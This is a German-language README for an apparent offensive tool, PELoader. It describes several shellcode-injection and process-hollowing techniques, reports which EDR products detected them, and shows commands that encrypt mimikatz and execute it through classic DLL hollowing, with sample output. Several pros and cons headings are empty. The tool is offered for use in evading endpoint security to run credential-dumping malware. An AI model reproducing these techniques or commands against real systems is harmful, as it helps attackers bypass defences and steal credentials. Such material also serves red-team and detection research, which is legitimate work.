
PE-Lader mit verschiedenen Shellcode-Injektionstechniken
PELoader implementiert verschiedene Shellcode-Injektionstechniken und nutzt die Bibliothek libpeconv zum Laden verschlüsselter PE-Dateien anstelle der Injektion von Shellcode in einen entfernten Thread.
Folgende Techniken wurden implementiert:
Danksagung: Der Großteil meiner Arbeit basierte auf den PoC Skripten von @hasherezade.
PELoader wurde unter Windows 10 mit Cortex XDR / SentinalOne / Windows Defender / CrowdStrike getestet, wobei Windows Defender und CrowdStrike die Transacted Hollowing-Techniken erkannten. Die Eigenschaften jeder Technik wurden mit dem Speicher-Scanner-Tool Moneta von @forrest-orr getestet.
Module Stomping (LoadLibrary)
Rufe LoadLibrary auf, um eine legitime DLL zu laden. Überschreibe die DLL mit dem Payload.
Vorteile

Module Stomping (NtMapViewOfSection)
Rufe NtCreateSection auf, um ein Dateimapping-Objekt (PAGE_READONLY) für eine legitime DLL zu erstellen, und rufe NtMapViewOfSection auf, um es in den aktuellen Prozess zu mappen. Überschreibe die DLL mit dem Payload.
Vorteile
Nachteile

Referenz zu @hasherezade's PoC.
Transacted Hollowing
Ein Hybrid aus Process Hollowing und Process Doppelgänging. Erstelle eine „unsichtbare“ Datei innerhalb der NTFS-Transaktion und schreibe den Payload in die Datei. Mappe den Abschnitt in den aktuellen Prozess und führe ihn aus.
Vorteile
Nachteile

Ghostly Hollowing
Ein Hybrid aus Process Hollowing und Process Ghosting. Erstelle eine Datei mit ausstehendem Löschstatus und schreibe den Payload in die Datei. Mappe den Abschnitt in den aktuellen Prozess und führe ihn aus.
Vorteile
Cron
Referenz zu @hasherezade's PoC.
NtMapViewOfSection (RWX-RW-RX)
Rufe NtCreateSection auf, um einen Speicherabschnitt (RWX) zu erstellen. Rufe NtMapViewOfSection auf, um eine Ansicht in den aktuellen Prozess zu mappen (RWX). Rufe VirtualProtect auf, um den Schutz auf RW zu ändern. Kopiere Shellcode in den gemappten Abschnitt. Ändere den Schutz auf RX und führe ihn aus.
Vorteile
Nachteile

NtAllocateVirtualMemory (RW-RX)
Rufe NtAllocateVirtualMemory auf, um Speicher (RW) zu allozieren. Kopiere Shellcode in den Speicher. Ändere den Schutz auf RX und führe ihn aus.
Vorteile
Nachteile

AES-Payload verschlüsseln
Konvertiere PE-Datei in Shellcode mit pe_to_shellcode und verschlüssle sie mit PELoader
cmd> .\pe2shc.exe mimikatz.exe
Reading module from: mimikatz.exe
[WARNING] This is a console application! The recommended subsystem is GUI.
[+] Saved as: mimikatz.shc.exe
cmd> set hagrid=enc mimikatz.shc.exe
cmd> .\PELoader.exe
argument: enc mimikatz.shc.exe
Encrypting File
PE-Ausführung
Setze das Argument in die Umgebungsvariable "hagrid" und führe PELoader aus
cmd> set hagrid=cdll mimikatz.shc.exe.enc
cmd> .\PELoader.exe version
argument: cdll mimikatz.shc.exe.enc
Classic DLL Hollowing
[*] target dll: C:\WINDOWS\system32\aadtb.dll
[*] implant dll: mimikatz.shc.exe.enc
[*] Loading the DLL (using LoadLibary, classic DLL hollowing)...
[*] Overwriting the mapping
[*] Module Overloading finished...
[*] Executing Implant's Entry Point: 7ff8cf9d7578
[*] Executing Implant as EXE
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # version
mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 19043 (arch x64)
msvc 150030729 207
mimikatz #